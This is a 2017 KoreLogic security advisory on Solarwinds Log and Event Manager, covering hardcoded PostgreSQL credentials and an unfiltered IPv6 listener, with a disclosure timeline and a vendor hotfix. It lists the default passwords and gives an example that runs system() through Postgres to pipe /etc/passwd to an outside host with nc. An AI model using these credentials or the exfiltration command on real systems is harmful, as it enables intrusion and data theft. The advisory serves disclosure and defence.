KL-001-2017-009 : Solarwinds LEM Database Listener with Hardcoded Credentials Title: Solarwinds LEM Database Listener with Hardcoded Credentials Advisory ID: KL-001-2017-009 Publication Date: 2017.04.24 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-009.txt 1. Vulnerability Details Affected Vendor: Solarwinds Affected Product: Log and Event Manager Virtual Appliance Affected Version: v6.3.1 Platform: Embedded Linux CWE Classification: CWE-798: Use of Hard-coded Credentials, CWE-284: Improper Access Control Impact: Remote Database Compromise Attack vector: psql 2. Vulnerability Description The Postgres database has default hardcoded credentials. While some security measures were taken to ensure that network connectivity to the Postgres database wouldn't be possible using IPv4, the same measures were not taken for IPv6. 3. Technical Description Reviewing netstat for listening services shows that the postgres service is bound to both IPv6 and IPv6 interfaces. --(0)-[1.3.3.8]-[6.3.1]-[root@swi-lem]-- / # netstat -apn|grep postgres tcp 0 0 0.0.0.0:5432 0.0.0.0:* LISTEN 949/postgres tcp6 0 0 :::5432 :::* LISTEN 949/postgres udp 0 0 127.0.0.1:58654 127.0.0.1:58654 ESTABLISHED 949/postgres unix 2 [ ACC ] STREAM LISTENING 4622 949/postgres /var/run/postgresql/.s.PGSQL.5432 An iptables REJECT entry exists for IPv4. This prevents remote network connectivity. --(0)-[1.3.3.8]-[6.3.1]-[root@swi-lem]-- / # iptables -L|grep postgres REJECT tcp -- anywhere !localhost tcp dpt:postgresql reject-with icmp-port-unreachable However, there are no entries in the ip6tables at all, and the default policy is ACCEPT. --(1)-[1.3.3.8]-[6.3.1]-[root@swi-lem]-- / # ip6tables -L Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Additionally, two accounts exist with default and simple credentials. --(0)-[1.3.3.8]-[6.3.1]-[root@swi-lem]-- / # head -n 5 /usr/local/contego/scripts/database/pgsql/flow.sql CREATE ROLE trigeo WITH CREATEDB LOGIN PASSWORD 'rootme'; CREATE ROLE contego WITH CREATEDB LOGIN PASSWORD 'reports'; CREATE DATABASE alertdb WITH OWNER trigeo; ALTER DATABASE alertdb OWNER TO trigeo; No further testing was conducted against the Postgres service. However, the following may be possible. 1. Connect to Postgres using hardcoded credentials over IPv6. 2. Run CREATE OR REPLACE FUNCTION which ties to system() in libc.so.6. Example: CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS /lib/libc.so.6, system LANGUAGE C STRICT; privSELECT system(cat /etc/passwd | nc 1.3.3.6 8080); Example credit: http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet 3. Run system() calls to run commands on the underlying operating system as the postgres user. 4. Mitigation and Remediation Recommendation The vendor has released a Hotfix to remediate this vulnerability. Hotfix and installation instructions are available at: https://thwack.solarwinds.com/thread/111223 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2017.02.16 - KoreLogic sends vulnerability report and PoC to Solarwinds <psirt@solarwinds.com> using PGP key with fingerprint A86E 0CF6 9665 0C8C 8A7C C9BA B373 8E9F 951F 918F. 2017.02.20 - Solarwinds replies that the key is no longer in use, requests alternate communication channel. 2017.02.22 - KoreLogic submits vulnerability report and PoC to alternate Solarwinds contact. 2017.02.23 - Solarwinds confirms receipt of vulnerability report. 2017.04.06 - 30 business days have elapsed since Solarwinds acknowledged receipt of vulnerability details. 2017.04.11 - Solarwinds releases hotfix and public disclosure. 2017.04.24 - KoreLogic public disclosure. 7. Proof of Concept swi-lem$ ifconfig eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 inet addr:192.168.53.76 Bcast:192.168.53.255 Mask:255.255.255.0 inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:681 errors:320 dropped:0 overruns:0 frame:320 TX packets:513 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:82845 (80.9 KiB) TX bytes:59151 (57.7 KiB) sploit$ ncat -4 192.168.53.76 5432 Ncat: Connection refused. sploit$ ncat -6 -v fe80::5054:ff:fe12:3456%br0 5432 Ncat: Version 7.40 ( https://nmap.org/ncat ) Ncat: Connected to fe80::5054:ff:fe12:3456:5432. The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt